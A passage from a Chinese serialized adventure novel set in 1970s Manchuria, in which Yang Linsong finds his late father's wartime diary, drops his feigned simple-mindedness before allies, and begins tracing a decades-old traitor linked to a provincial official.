周铁山摘下帽子,肃穆地行了个军礼,眼眶瞬间红了。
在残骸断裂的肋骨位,那双手直到枯干,仍死死护着一个油纸包。
杨林松单膝跪地,动作很轻,生怕惊醒一场长梦。
他小心揭开油纸,露出一本泛黄的日记,还有一张古铜色的羊皮地图。
沈雨溪半蹲下,手电光聚在日记扉页。
那一瞬,杨林松心头猛跳,原身记忆里那些细碎的片段,一下子都扑进了脑海。
扉页上有两行字,字迹不同。
第一行字迹略显急促,带着几点干透的暗红血渍:
“1945年7月,侦察员张金山记。”
第二行,刚劲有力,一笔一划都藏着股透骨的杀机:
“1945年8月,杨卫国补记。”
杨卫国!
那个哪怕在傻子记忆里,也如泰山般厚重的名字!
沈雨溪手颤了一下,含泪看向杨林松。
“读。”
杨林松嗓音沙哑,吐出一个字。
日记前半部,写着英雄张金山遭伏击后,双腿被炸烂,硬是撑着一口气爬进这死地,临终遗言只求后辈能以此图,斩尽日寇残余。
后半部,是十九岁的杨卫国随队清剿时发现了战友,发誓要把情报传回组织……
听着沈雨溪的读书声,杨林松垂着头,手指头一点点描摹着父亲的签名。
血脉,在这一刻彻底滚烫。
十二岁那年,父亲牺牲在边境。那天大兴安岭的雪,下得也和今天一样厚。
原来,早在父亲十九岁那年,就已经在这个吃人的老林子里,跟死神交换过忠诚了。
“出去。”
杨林松站起身,表情冷到了极点。
他把日记和地图塞进胸口,贴着心窝子。
众人心头沉甸甸地退出了地堡。
洞外,积雪映着残阳的红,地上到处是还没干透的血。
老刘头早就守在门口,随手一指。
烂石缝里,一个穿黄棉袄的胡子被捆得结结实实,老刘头正一脚踩在他的腰眼上。
“杨爷,这儿有个想溜号的,刚冒头就被我拿铁锤伺候了。”
杨林松一言不发地走过去。
手腕一甩,三棱军刺在他指尖转了一圈。
那股子杀气吓得那胡子当场就尿了裤子。
“别……别杀我!我全招!”
土匪哭号着,“不是黄爷要这些东西……是有省城的大人物下了死命令,非要这批重家伙不可……”
“谁?”周铁山枪口顶在那人脑门上。
“郑……郑少华。”土匪颤得牙齿咯咯响,“省革委会副主任郑鸿运的亲儿子。他在南边缺重火水平事,还想拿这些东西去北边换好处……”
空气降到了冰点。
省革委会副主任?那是能通天的大树!
谁能想到,那只贪婪的黑手
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竟然从省城心脏一直伸到了这大兴安岭的地缝里!
民兵们吓得往后直缩。这种事,沾上点儿边就是粉身碎骨。
“郑少华?”
老刘头啐了一口,“听名儿就透着股白脸狼的骚气。郑鸿运那老王八我知道,早年在粮站就手脚不干净,生的儿子肯定是粪坑里的蛆。”
沈雨溪眉头拧成死结,脸色苍白:
“不对劲!周副部长你想想,杨卫国同志1945年就发现了这儿,图也齐了,为什么这地方憋了三十年才见光?”
她的声音带了颤音:
“这只能说明……当年杨卫国同志最信任的那个接头人,是个深藏不露的内鬼!他把消息压了整整三十年,就等着变现!”
周铁山惊得尾巴骨直冒凉气。
一个藏了三十年的内鬼,现在得在高位坐到什么程度?
沈雨溪眼眶通红,看向杨林松:
“林松,你父亲在你十二岁那年牺牲,也就是1967年,说是遭遇敌特……可现在看,会不会是他当年想重查这事,被人……灭了口?”
咔吧!
杨林松脚底下的青石块,竟被他踩出了一道裂纹。
他没吭声,但浑身的筋骨已经绷到了极致,那是凶兽扑杀前的寂静。
二十二年的迷雾,终于被这本日记照出了一道血淋淋的缺口。
阿三捂着腿上的绷带,牙齿打战:
“杨爷……对面可是通天的大官,郑家那是铁板一块,咱……咱接下来咋整?”
杨林松伸手,摸了摸怀里的日记。
他抬起头,看了一眼血红的晚霞在林海尽头沉没。
“快过年了。”
杨林松开口,语气平稳,却透着威严。
“天大的债,等过完年,咱们一笔一笔清算。”
他转过身,大步踏上回村的雪路。
残阳拉出几道长长的影子,杨林松走在最前头,步伐沉稳。
郑少华?
省革委?
在他杨林松眼里,这些名字已经写在阎王爷的账簿上了。
惊蛰一过,便是人头落地时。
这背影,和三十年前在这里发誓的少年,一模一样。
第115章 遗孤今晚要掀桌子
从黑瞎子岭撤回红星大队,天已经黑透了。
杨林松走在最前头,步子又稳又快,每一步都踩在结实的冻土上。
周铁山跟在后头,走在中间,两眼一刻也没挪开过那个背影。
越看,他头皮越发麻。
这蹚雪的步法,这警戒的姿态,分明是特级侦察兵才有的底子!
再回想地堡里发生的事:
找通气孔的准头,踩着满地碎肉连眼皮都不眨,还有见到父亲签名时的沉默……
周铁山心里直骂娘,自己一个武装部副部长,竟然被这小子糊弄了这么久!
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回到大队部,院里已经点起了火把,松明子烧得噼啪响。
老刘头把抓回来的活口拽进杂物间,找了根粗麻绳在房梁上打了个死扣,把人吊了起来。
沈雨溪麻溜地钻进后厨生火。
阿三一瘸一拐地去后院提水。
杨林松走过去,扫了眼阿三的伤,在绑腿布边缘按了按,这才点点头。
周铁山站在院中央,一声不吭。
杨林松提来一桶水,倒进木盆,蹲下身子,搓洗着那把56式三棱军刺。
血水在木盆里散开。
刀洗干净,甩干水。
杨林松站直身子,用大拇指抹过刀上的三道血槽。
咔嗒。
军刺入鞘。
杨林松转过身,视线正正对上周铁山的眼睛。
火光忽明忽暗,谁也没先开腔。
杨林松面色不改,迈腿走向办公室。
两人擦肩时,他脚下一顿。
“周叔,外头风硬,进屋喝口热水。”
一声字正腔圆的“周叔”,让周铁山震了惊。
不淌哈喇子,也不喊“大军车叔叔”了?
周铁山眼角猛抽了两下,深吸一口凉气,大步跟了进去。
------
大队部的办公室里,炉子烧得通红。
杨林松回头关上门,转过身,头一回在周铁山跟前,把脊梁骨挺得那么直。
他的眼睛明枪亮剑,哪还有半分浑浊?
“周叔,不装了。”
杨林松勾过一条长凳坐下,“您没看走眼,我不傻。”
虽说心里早有算计,可真听他亲口认了,周铁山心里还是一咯噔。
他走到炉子前,摸出一根皱巴巴的大前门,叼在嘴里。
洋火连划了三下,才擦出火星子。
“撂底吧。”周铁山吐出一口浓烟。
杨林松也没藏掖,语速平稳,把当年发高烧变傻子、前些日子挨打撞着头清醒,再到为了保命将计就计、设套反杀胡子的事,交代得干脆利落。
屋里很安静,只能听见炉子里煤块爆开的声响。
周铁山的手悬在半空,指缝间的烟灰积了长长一截。
他盯着杨林松,看了足有半分钟,身子往前一探:
“那你现在是打算接着在这山沟里当缩头王八,还是准备掀桌子见血?”
“该装傻充愣的时候,我照样能演。”
杨林松迎着他的逼视,连眼睫毛都没抖一下。
“可要是到了该亮刀子、抹脖子的时候,我也绝不含糊!”
死一般的寂静。
“砰!”
周铁山一巴掌呼在木桌上,震得搪瓷缸子乱蹦。
他把烟屁股摁灭,长出了一口浊气:
“好小子!你特么是猴精投胎的吧,心眼子比莲藕还多!骗得老子好苦!”
没等杨林松答话,周铁山继续道:
“可干得漂亮!这年月,好人命不长,拔尖的死得快,装疯卖傻才能苟住命!你要是早漏了底,大队里那帮眼红病的畜生能把你敲骨吸髓,更别提后山这桩捅破天的烂账!”
杨林松没吭声,把手伸进怀里,摸出那本发黄的日记本,顺着桌面推了过去。
周铁山拿起日记本,翻开看了两眼,眉头拧成个死疙瘩。
“你爹1945年就把情报递上去了,却被人捂得严严实实!1967年他出意外牺牲……这笔账,八成跟省革委那个姓郑的脱不开干系。”
周铁山咬着后槽牙骂道:“林松,咱们现在手里就这一本破本子,外加个半死不活的胡子活口。就凭这些东西,想去省城扳倒革委会副主任,比登天还难!”
“所以我刚才没在洞口活剐了那个土匪。”
杨林松端起茶缸灌了口白开水,眼神发冷。
“这事儿得熬。眼瞅着快惊蛰了,咱们先把这年过了,等开了春,我再慢慢撒网,抽这帮孙子的筋!”
话音刚落,院子里响起一阵急躁的踩雪声。
紧接着,一个大嗓门在门外喊了起来。
“林松!老周!老子回来了!”
“哐当”一脚,木门被踹开。
王大炮裹着件破羊皮袄,胸口缠着厚厚的纱布。
他大步砸进屋里,带进一身寒气。
周铁山被惊得霍然起身:“你特么不要命了?肋骨都被黑瞎子拍断了,卫生院那帮大夫能放你出院?”
“去他娘的卫生院!”
王大炮迈过门槛,倒抽了口气,却笑得豁出命的痛快。
“听说你们在黑瞎子岭端了胡子的大窝,连推土机都给干趴了!老子还能在那病床上挺尸?那破地方连口烧酒都不给,老子就是死,也得回来跟大伙儿过这个年!”
杨林松三两步抢上前,一把架住王大炮的咯肢窝,把他摁坐在板凳上。
“老子死不了!”
王大炮一甩胳膊,急赤白脸地追问,“赶紧给老子透透底,后山那王八洞里到底掏出啥硬货了?”
话刚秃噜出嘴,王大炮卡壳了。
他左看看杨林松,右瞅瞅黑着脸的周铁山。
眼前这个平日里总是流着哈喇子的傻侄子,这会儿腰杆子笔挺,眼底透着杀伐果断,浑身上下哪还有半点儿傻气?
“你……”王大炮手指头颤了颤,“老周,这小子的皮让你给扒了?”
杨林松一句话没多说,拿起桌上的日记本,塞进王大炮的手里。
王大炮满脸犯嘀咕地接过,翻开扉页。
当目光卡在“杨卫国”三个字上时,他脸上的表情僵死了。
眼眶一下子红了。
他手指头不受控制地哆嗦着,在那个签名上摩挲。
王大炮呼哧呼哧喘起粗气,好半天才找回声音。
“林松啊……这是你爹的字,化成灰老子
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都认得。”
杨林松心头猛撞,上前一步:“大炮叔,你跟我爹……”
“光屁股玩泥巴长大的铁哥们!”
王大炮拿袖口狠抹了一把通红的眼睛,声音嘶哑。
“后来一起跨过鸭绿江!他在尖刀排,老子在步兵连!”
王大炮大口喘着气,憋了多年的话全倒了出来:
“从那边退下来,我因为这老寒腿犯了,只能回村当个大队长。他有真本事,就留在部队干了。每年回来探亲,都拎着两瓶地瓜烧找老子扯闲篇。”
吧嗒。
一滴泪砸在日记本上。
“1967年,他走了。接到武装部打来的加急电话,是老子连夜赶着牛车,去县里太平间认的尸。那年的雪,下得比今儿还邪乎!”
王大炮紧紧咬着牙,腮帮子上的肌肉突突直跳。
“大队部的档案上他签过字,跟这本子上的一模一样!”
周铁山压不住火,急声问:
“老王,他活着那阵子,跟你漏过这黑瞎子岭下头有鬼子军火库的底吗?”
“半个字都没吐过!”王大炮摇头,“那是绝密!以老杨那性子,规矩就是命,打死他都不带漏嘴的!”
杨林松脑子里灵光一闪,他逮住了一个死角。
“大炮叔。”杨林松抬起头,“县收购站那个站长王建军,您认识吗?我上一回去卖狼王皮,他打眼就认出我,还一口一个老首长叫我爹。他们是不是穿过一条裤子?”
“王建军?”
王大炮一巴掌拍在大腿上,扯到了伤口,疼得直呲牙。
“那小子老子见过!他当年转业回地方,还专门跑来红星大队看过我。要真是老杨带出的兵,你爹出事前那档子事,他知道的绝对比我深!”
杨林松眼底寒芒暴起。
难怪上次在收购站,那王建军见着自己的长相,会震惊得连魂都丢了。这俩人绝对是一条线上的蚂蚱。
“等翻过这个年,我进城会会他。”杨林松冷声拍了板。
周铁山在屋里焦躁地走来走去,皮鞋踩得地面砰砰响。
突然,他刹住脚,伸手在半空一点。
“这线算是彻底对上了!”
“1945年,你爹把军火库的情报往上交,半道被那个姓郑的狗东西截了胡给压了下来。”
“到了1967年,肯定是老杨顺藤摸瓜察觉了不对劲,结果在边境线上出了所谓的意外,让人给拔了眼中钉!”
“到了今年,那个郑鸿运的亲儿子郑少华,亲自点将黄五爷,带人带炮仗来开山抢这批杀器。”
周铁山一拳砸在自己手掌心:
“这特么哪是啥土匪抢劫!这是一条压了整整三十年、拿烈士的命填出来的卖国黑线!”
“日他姥姥的!”王大炮听完,怒血直冲天灵盖。
他一把掀了桌上的茶缸子,动作大得扯到了肋骨,疼得冷汗直往下淌,他愣是吭都没吭。
“还窝在这等个屁!”
王大炮红着眼咆哮,作势就要往门外冲。
“老子现在就去敲大钟!把全村的糙汉子全拉上,今晚就杀进省城,把那姓郑的狗杂碎吊起来点天灯!”
第116章 这笔血债得拿命偿
啪!
一只大手钳住了王大炮的肩膀。
杨林松使了暗劲,把发狂的王大炮摁回条凳上。
“大炮叔,别犯浑!”杨林松嗓音里透着股狠劲。
“人家是省革委副主任,你拿几条老套筒去拼,那是白白带全村老小上去送命填坑!这血债得讨,但得用脑子!”
王大炮喘着粗气,梗着脖子还想挣扎,却被杨林松一句话定在原地。
周铁山在一旁猛抽了口烟,接了腔:
“林松说得对!血债必须血偿,但这买卖不能蛮干。一本日记加个俘虏口供,到了省里人家反咬一口破坏革命队伍,就能把你给活埋了!”
“要弄死郑鸿运这棵大树,咱们必须连根拔起,拿到能把他们砸死的死证!”
“要么抠出当年那内鬼盖红头戳的实据,要么弄清楚你爹死前最后一面见了谁!”
吱呀——
木门被人从外头推开。
沈雨溪端着个洋铁盆走了进来。
酸菜猪肉的饺子冒着白气,香味驱散了一屋子的火药味。
她瞧见王大炮先是一愣,转眼明白过来。
刚才站在门外,里头的话她听得一字不落。
铁盆搁在桌上,沈雨溪直起腰:
“我爸在京城的军工系统里,认识几位硬过命的老上级。如果省里这层王八壳子太厚打不透,我可以托关系往北京城递消息。”
周铁山听完,脸唰地拉了下来,眉头皱起。
“沈知青,心意咱们领了,但京城那条线碰不得!”
周铁山压低了嗓门,表情严肃。
“这刚开年,上头风向紧得很。这事一旦透了风,打草惊蛇不说,红星大队这几百口子男女老少,全得让人神不知鬼不觉地给连根拔了!”
杨林松目光沉沉地看了沈雨溪一眼,带着安抚的意味。
“这事听周叔的,暂不露头。过了年,我先去县城把王建军的底细摸干净。”
杨林松一锤定音,“查实了,再定下一步调子。先吃饭!”
“对对对!先把肚子填饱!”
老刘头挤进屋,手里攥着大把碗筷啪啪拍在桌上。
他冲着后院冷笑一声:
“柴房里那个王八犊子直尿裤子,我给塞了个硬窝头,吊着他一口气就行。”
“留着活口,开春后拿来祭旗。”杨林松接腔。
老刘头把筷子往杨林松手里一塞:“行了,别光顾着说那要命的买卖了。明儿可就是大年三十了,沈知青亲手包的饺子,再不吃全坨了!”
屋里的气氛这才稍稍缓和。
几个大老爷们围着炕桌一通狠造,热饺子滑进胃里,总算把骨头缝里的老寒气逼退了些。
吃到一半,王大炮猛地丢下筷子,直勾勾盯着对面的周铁山。
“老周。”王大炮眼底杀机未退,“你今儿在后山亲眼瞧了林松的手段,老底也摸透了。老子就问你一句掏心窝子的准话,这趟浑水,你蹚还是不蹚?”
周铁山大口咽下嘴里的饺子,扯过搭在肩膀上的破布擦了把嘴,站直身子。
“林松。”周铁山迎着他的目光,一字一顿。
“我周铁山活了这半辈子,只认死理不认官印!你爹是当年打鬼子流过血的真汉子,你也是个铁血的种。”
“这把牌,老子跟你押到底了!”
他抄起桌上的搪瓷缸子:“我借武装部的道,明着把马志坚带胡子袭村的事往上通报,在明面上吸住那帮孙子的火线。”
“你们在暗处查死证。一明一暗,老子非得把这黑天,给捅个大窟窿出来不可!”
杨林松抄起个酒碗,倒满老烧酒,长身而起。
“周叔,有您这句话,我这心里有底了。”杨林松平端酒碗,“这碗酒,敬您,敬在座的各位。”
王大炮闻着冲鼻的酒香,喉结上下直滚,伸手就去抢酒瓶。
“你胸口还挂着血葫芦呢,别沾酒。”杨林松手腕一沉,扣住酒瓶。
“扯犊子!老子当年在朝鲜让美国佬的炮弹片掀了头皮,照样拿老烧酒漱口!”
王大炮急眼了,夺过半杯残酒,跟杨林松的碗“哐当”猛碰了一下。
仰脖,一饮而尽。
烈性白干下肚,烧起一团业火。
“哈哈哈哈!痛快!”王大炮一抹胡茬,放声狂笑。
“这年,他娘的没白过!咱们这一屋子,老
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的老、残的残,外加一个装傻的狼崽子也露了獠牙。”
“就凭咱们这几块烂骨头,定要让省里那帮王八蛋,排着队拿命来填这后山的坑!”
夜渐深,风雪停了。
众人吃饱喝足,各自散去歇息。
大队部的院子里,月亮爬上树梢,把积雪照得惨白。
杨林松独自站在院中央,从怀里摸出日记,手指抚过“杨卫国”三个字。
身后传来踩雪的咯吱声。
沈雨溪裹着军大衣,站到他身侧。
“想啥呢?”她轻声开口,红唇间呼出一团白气。
杨林松没抬头,眼睛依旧盯在日记本上。
“想我爹。”他声音沉闷,“三十年前他搁这片老林子里发誓守土,他拿命拼到了底,却让人在背后捅了刀子。”
啪嗒。
他合上日记,揣回心口。
“我今年二十了。这笔熬了三十年的血账,该轮到我来亲自收了。”
沈雨溪没搭话,只是伸出手,覆在了他的手背上。
“你爹会替你骄傲的。”她侧过脸看他。
杨林松转过头。
月色打在她白净的脸上,眼眸很亮。
他心里猛火一窜,突然反手攥住她的手腕,往怀里一拽。
沈雨溪还没来得及惊呼,就撞进了他的怀里。
杨林松把她揽进怀里,下巴靠在她的头发上。
双臂猛力收紧了一瞬,像要把人揉进骨血里。
就这么一瞬。
没等沈雨溪缓过神,他已松开手,往后退了半步。
“赶紧回屋捂着去。”
杨林松转过身,迈着大步往院外走,“好些天没睡过囫囵觉了。”
沈雨溪脸颊火热,站在原地,定定瞅着那个高大背影,喊了一嗓子:
“明早我拿饭盒给你装饺子带去!”
杨林松没回头,抬起右手挥了挥。
远处,突然噼里啪啦炸开几声爆响。
这个年,本是不该放鞭炮的。
但村里的半大小子没憋住馋虫,提前点上了。
过了今晚十二点,就是大年三十了。
杨林松踩着积雪,一步一个坑,踏实地朝着那间土坯房走去。
第117章 一纸绝密藏枕下
破晓时分,天还蒙蒙亮。
土坯房里,杨林松睁开眼,平躺在硬炕上。
他盯着房梁,抬手在胸口按了按。
隔着衣裳,揣在怀里的日记本硬梆梆的。
三十年前的血债,隔着这层纸皮都觉得烫心窝子。
窗外寂静,听不到往年除夕该有的炮仗声。
他翻身下地,推开木门。
雪停了,外面积了半尺厚的雪。
一脚踩上去咯吱作响,冷风一灌,脑子彻底清醒了。
杨林松拿起门边的竹扫帚,刚划拉两下,就看到个戴着红围脖的身影。
沈雨溪提着竹篮子快步走来。
篮子上盖着白粗布,边沿正往外冒着热气。
“不是说给你送饺子吗?”她把篮子往前一递,“趁热吃,天没亮就起来包的,酸菜猪肉馅。”
杨林松撂下扫帚,接过篮子,肉香直往鼻筒子里钻。
他看着她冻红的鼻尖,笑了笑:“又是酸菜馅?”
沈雨溪一愣,手往袖子里缩了缩:“咋?嫌酸不爱吃?”
“爱吃,香得压根没商量。”杨林松侧过身子让出路,“快进屋暖和暖和。”
两人刚跨过门槛,突然传来急促的踩雪声。
阿三一瘸一拐地跑过来,嘴里呼哧带喘:“杨爷!出大状况了!”
杨林松把篮子往炕上一放,皱起眉:“把气喘匀了说。”
“杂物间那个活口!”阿三扒着门框,上气不接下气,“发了一宿的高烧,老刘头硬给灌了三大碗姜汤都压不住!人直翻白眼,眼瞅着快断气了!”
杨林松动作半点没拖泥带水,转身就往外走:“去看看。”
沈雨溪咬咬唇,也立即跟了上去。
------
大队部后院的杂物间里,尿臊味冲鼻。
那个土匪被草绳捆着,仰面躺在泥地上。
那张脸烧得通红,嘴唇干裂出血,进气多出气少。
老刘头蹲在墙角,端着碗叹气:“杨爷,这孙子骨头忒软。冻了一天,又被您的手段吓破了胆,这会儿怕是真扛不住了。”
杨林松单膝蹲下,两根手指搭在土匪颈侧。
脉搏跳得很快。
再这么烧下去,人一咽气,上哪再去抓一个能指认郑少华的活口?
“阿三,去前院找周叔。”杨林松站起身,“就说这胡子病危,得马上送公社卫生院。他只要点个头,你俩开吉普车把人送过去!阿三有腿伤,老刘头你开车!”
“得令!”两人应了一声,转身就跑。
不到三分钟,周铁山大步跨进杂物间。
他看了眼土匪,又看了杨林松一眼,眼底透着藏不住的赞许。
周铁山是老带兵的,最烦那种只懂拿刀砍人的兵痞。眼前这小子,杀胡子时眼都不眨一下,该留活口保大局时,却比谁都沉得住气。
有这份城府,才能干翻天的大事!
“赶紧送卫生院。”周铁山一挥手,“我派两个民兵跟着,单独病房关押,死活都得把这口气给我吊住!”
吉普车冒着黑烟跑远后,周铁山重重拍了两下杨林松的肩膀:“做得稳。”
------
回到大队部办公室,天色已经大亮。
炉子吞吐着火苗,屋里有了热乎气。
周铁山拖过长条凳坐下,点上根大前门,抽了两口才开口:
“林松,我琢磨了一宿,这事儿牵扯的网太密了。”
“郑鸿运在省里手眼通天,这层王八壳子,不是咱们几个泥腿子在底下敲两棍子就能碎的。这是场得咬碎牙的持久战。”
杨林松拉过椅子坐下,迎着周铁山的眼睛:
“周叔,我心里有数。但这烂账拖得越久,对方抹痕迹的时间就越多。我爹在下头等了八年,我是一天都不想多耽搁了。
周铁山掸了掸烟灰:“想好开年怎么落子了?”
“明天我就去县城找王建军。”杨林松说,“他既然认识我爹,那就从他嘴里问出当年的事。”
话音刚落,砰的一声,木门被踹开。
王大炮裹着厚棉袄,拎着两瓶地瓜烧,大咧咧地走进来。
“都别搁这儿苦大仇深了!”他把酒瓶往桌上一放,“今儿是大年三十!天大的要命事,也得等过了今儿再说!该吃吃,该喝喝!”
周铁山笑骂了一句:“你个老瘪犊子,肋骨断了几根还不长记性,还想着灌黄汤?”
“放屁!大过年的不整口烈酒,叫个屁的过年!”王大炮瞪大眼睛,“老子这把糙骨头,有酒有肉才养得快!”
沈雨溪在后厨生好火,下锅煮饺子。
这工夫,老刘头和阿三也回来了。
老刘头摸出个油纸包,一解开,是几块卤得红亮的猪头肉。
阿三掏出一大包油炸花生米。
“交接好了。”阿三凑过来压低声音,“我和老刘头在县城溜了一圈,弄了点下酒菜。”
没一会儿,长桌上摆满了吃食。
饺子、猪头肉,外加两瓶烈性白干。
王大炮满上酒,双手端起碗:“来!这第一碗,敬不在桌上的老战友,还有顶着风雪在村口站岗的兄弟!”
几只碗哐当碰在一起。
烈酒下肚,胃里暖和起来。
酒过三巡,屋里气氛也跟着升了温。
王大炮喝得脸膛通红,也不知他这肋骨还疼不疼,用力拍着杨林松的肩膀,眼眶有些发湿:
“林松!你爹要是还在,亲眼看着你小子如今这身板这胆识,多他娘的提气!你们老杨家出孬种吗?出个屁!当然,你隔壁那一家子极品货不算。”
杨林松端起酒碗,站起身:“大炮叔,这些日子装疯卖傻,多亏你处处护着。这碗酒,我敬你。”
周铁山放下筷子,拿手背抹了抹嘴:“酒喝痛快了。过了今晚就是新年,咱们也该盘盘正事了。”
他看向杨林松:“明天大年初一,王建军不一定在岗。你先去碰碰运气,不在也别生抢硬找,容易露馅,等初四上班了再摸过去不迟。”
“明白。”杨林松点头。
“沈知青,京城的老关系先不动。”周铁山转头叮嘱,“你可以先写封家书探探你父亲的口风,看他早年认不认识在东北蹲点的地质干部。记着,这年头邮局眼杂,寄信也得防着人抽查,别惹一身骚。”
沈雨溪认真应下:“我懂的,周叔,这信我加密写。”
老刘头
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往嘴里扔了颗花生米,嚼得嘎嘣响,干笑一声:“等翻了年,我回鬼市打点一下,看能不能摸出这个郑少华的脏水路数。”
“手脚干净点,别打草惊蛇。”杨林松扫了他一眼。
该盘的事情盘清楚,屋里一下子安静下来。
窗外黑透,风又刮了起来。
这大年三十的夜,外面静得连声狗吠都没有。举国同悲,大家都心知肚明。
沉默中,王大炮突然压低嗓音:“林松,你爹牺牲那年春节,他跟我喝了点酒,话赶话提过一嘴……”
“提了什么?”杨林松眼里闪过一丝厉色。
“他说,老陈发现了个大秘密。”王大炮拧着眉,“那人好像是县里地质勘查队的。现在这前后的事儿一凑,八成跟底下那座军火库脱不开关系!”
杨林松心里咯噔一下:“有那人的全名吗?”
王大炮摇头:“没提。那年月人多嘴杂,光知道个姓,上哪儿对号入座去?”
沈雨溪眼睛一亮:“我爸当年在东北带过支援建设的地质队,那个圈子不大。说不定他认识这号人,我今晚就在信里添上一笔问问。”
午夜将近,风雪渐渐小了。
几人走到雪地里。
天黑沉沉的,没有星星。
“扛过去。”周铁山拍了拍王大炮的背,“等过了这年关,天总会亮的。”
杨林松望着远处的黑瞎子岭。
他在心里默念:爹,剩下的这半截死路,儿子去替您杀穿它!
------
散伙后,杨林松送沈雨溪回知青点。
到了院门前,沈雨溪转过身,一截白皙的脖颈缩在围巾里:“明天去县城,你千万多留个心眼。”
“你也是,现在的红星大队,水浑得很。”
杨林松伸手,拂去她额前头发上的雪。
“进去吧,外头冷。”
看着沈雨溪进了屋子关上门,杨林松转身往回走。
快走到土坯房门口时,杨林松的脚步突然停住了。
风里的气味不对!
他盯着木门。
锁头被撬开,扔在雪里,门虚掩着,留了一条缝隙。
杨林松眼神变得凌厉,右手摸向后腰,握住了那把三棱军刺。
他脚尖轻轻顶开木门,闪身进屋。
屋里很黑。
他压住呼吸,背靠墙壁快速扫视了一圈,没有动静。
走到炕前,他看向炕沿。
枕头下,压着一角叠着的纸条。
杨林松抽出纸条,走到窗边展开。
是用铅笔写的,字迹很潦草。
“姓陈的还活着。别去县城。”
杨林松捏住纸条,拇指用力摸了摸纸的边缘。
手感很糙,这是供销社用来包白糖的和散装茶叶的毛边纸。
他凑到鼻尖嗅了嗅。
气味很杂。
很浓的关东旱烟味,还隐隐透出雪花膏的香气。
绝不是沈雨溪的,她今天身上只有皂角和酸菜味。
也不是老刘头和阿三的。
这是股陌生的气味,老农混着女人味。
杨林松缓缓收拢五指,攥紧纸条。
看来,这盘捂了三十年的死局,终于有人憋不住要冒头了!
第118章 偏向虎山行
杨林松捻着那张纸条,在窗口站了半晌没挪窝。
纸条对折两次,被他贴身塞进内兜,跟日记本紧紧挨在一块儿。
炕席半热,杨林松和衣躺下。
他盯着房梁,脑子里把嫌疑人挨个过了一遍。
谁会在除夕夜,踩着风雪摸进他的屋?
那股子老派的关东旱烟味,混着城里女同志爱用的雪花膏香气,到底是从谁身上沾来的?
他们在大队部里关起门来谈话,这人又是怎么知道的?
这人既想透底说姓陈的还活着,又恐吓他别去县城,葫芦里卖的什么药?
线索太杂,一时半会儿缝不到一块儿。
杨林松闭上眼,硬是压下心头那把无名火,睡了。
------
天刚擦亮,杨林松翻身下地,披上大衣,将三棱军刺别在后腰。
推开门。
积雪没过脚脖子,白茫茫一片。
杨林松朝大队部走去,这一路上,昨晚的脚印早已被风雪舔得一干二净。
进了大队部院子,周铁山正蹲在门槛上抽烟,瞧见他来,一脚将烟头捻灭在冻土里。
“这么早?你真铁了心今天进城?”周铁山站起身。
杨林松不说话,手往内兜一掏,把那张纸条递了过去。
周铁山扫了一眼,眼皮猛跳,死盯着杨林松:“昨晚有人摸进你屋了?”
杨林松点点头。
“看清是啥路数了吗?”周铁山压低声音问。
杨林松摇头,把纸条上那股怪异气味报了一遍。
周铁山把纸条递还,黑着脸僵在原地琢磨了半晌。
他突然抬头:“这局水太浑了,你今天还去不去县城?”
杨林松看向远处的村口,眼神发冷。
“去。是人是鬼,碰了才知道。”他嗓音没有起伏,“朋友送信,是提个醒。仇家送信,那就是拦路虎。不管是啥,我都得踩碎了蹚过去。”
周铁山听得提气,重重点头:“好小子,够种!我跟你一道去,两杆枪有个照应。”
两人刚拍板,身后吱呀一声。
王大炮披着厚棉袄,打着哈欠从值班屋里走出来。
“大清早的,你俩嘀咕啥见不得光的事呢?”
杨林松没瞒他,把纸条的事抖搂了一遍。
王大炮一听,眼睛瞪大:“操!有人敢在咱们村太岁头上动土?反了天了!”
他大步上前,一把薅住杨林松的胳膊:“你别单干,老子抄家伙跟你们一起进城!”
杨林松反手扣住王大炮的手腕,暗劲一吐:“大炮叔,你那肋骨还没长全,别瞎折腾。我和周叔去,火力管够。”
王大炮挣了一下没扯动,咬着牙作罢了。
院子另一头,阿三和老刘头也起了。听说要去县城,阿三一瘸一拐地跑过来请缨。
“我给你们当方向盘!县城那地界我闭着眼都能开,哪条烂路能躲盘查,我门清!”
杨林松扫了眼他的腿:“腿伤能踩得住离合?”
“咬咬牙的事儿,误不了事!”阿三胸脯拍得梆梆响。
杨林松点头应下,转头看向老刘头:“老刘头,你钉在村里。帮着大炮叔镇场子,尤其是沈知青那边,别让人掏了后路。”
“您放心,有我在,这村里连只生面孔的苍蝇都飞不进来!”老刘头一口应下。
人员码齐。阿三发动了吉普车。
杨林松刚要拉车门,沈雨溪从村道跑了过来,鼻尖冻得通红,手里攥着个信封。
“信写好了,你顺路帮我投邮筒。”沈雨溪凑近两步,声音极低,“我爸的地址在面上,信里我用行话试探了那个老陈的底细。”
杨林松接过信封,揣进怀里。
他看着沈雨溪,语气强硬:“回去待着,天塌了也别乱跑。”
吉普车窜出红星大队,碾着积雪直奔县城。
车厢里很冷。
周铁山点上根大前门,看着窗外的枯树林,闷声问:“林松,那纸条,你觉着是敌是友?”
杨林松靠在后座,盯着前路。
“见着王建军,自然就见分晓了。”
------
吉普车扎进县城。
大年初一,街面上冷清,铺面十有八九上了厚木板门,红砖墙上的大字标语剥落了漆皮。
阿三方向盘一打,把车停在县收购站对面的窄巷子里。
杨林松和周铁山推门下车。
收购站大门虚掩,值班室里亮着黄灯泡。
一个穿着破军大衣的老头正坐在炉子前看报纸。
周铁山走上前,拿指关节敲了敲玻璃。
老头拉下老花镜,满脸不耐烦:“找谁?大年初一不收货,初四再来!”
周铁山拉开大衣,掏出工作证,把带着红星钢印的那面拍在玻璃上。
“武装部的!找王建军,有紧急军情!”
老头被那钢印晃了眼,立马收起脾气,站起身往里指:“王站长今天正好值班,人在办公室,门没锁你们自己进。”
两人推开铁门,穿过大厅,直奔站长办公室。
木门半掩,里头有纸张翻动的沙沙声。
周铁山敲了两下,听见里面喊“进”,杨林松一脚跨了进去。
王建军正坐在桌后核对报表,一抬眼瞅见杨林松,整个人愣在当场。
“林松?大年初一的,你怎么杀到这儿来了?”
杨林松一句客套没有。
他大步走到桌前,掏出那本日记,拍在桌面上。
王建军目光落在扉页上,手里的报表散了一地。
他哆嗦着翻开纸页,看着那熟悉的字迹,手抖得越来越厉害,眼眶憋得通红。
“这是……老首长的字!”王建军哽咽道,猛抬头,“林松,这是从哪弄来的?”
杨林松拉过木椅坐下,把熊神洞的底细倒了个干净。
最后,他吐出三个字:“郑少华。”
王建军听完,在桌边僵了半晌。
随后,他拉开最底层
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的抽屉,手伸到最里头,翻出一个牛皮纸信封,递给杨林松。
邮戳的年月,定格在1967年腊月。
杨林松抽出信纸。
上面只有一行字,字迹和日记本上一模一样。
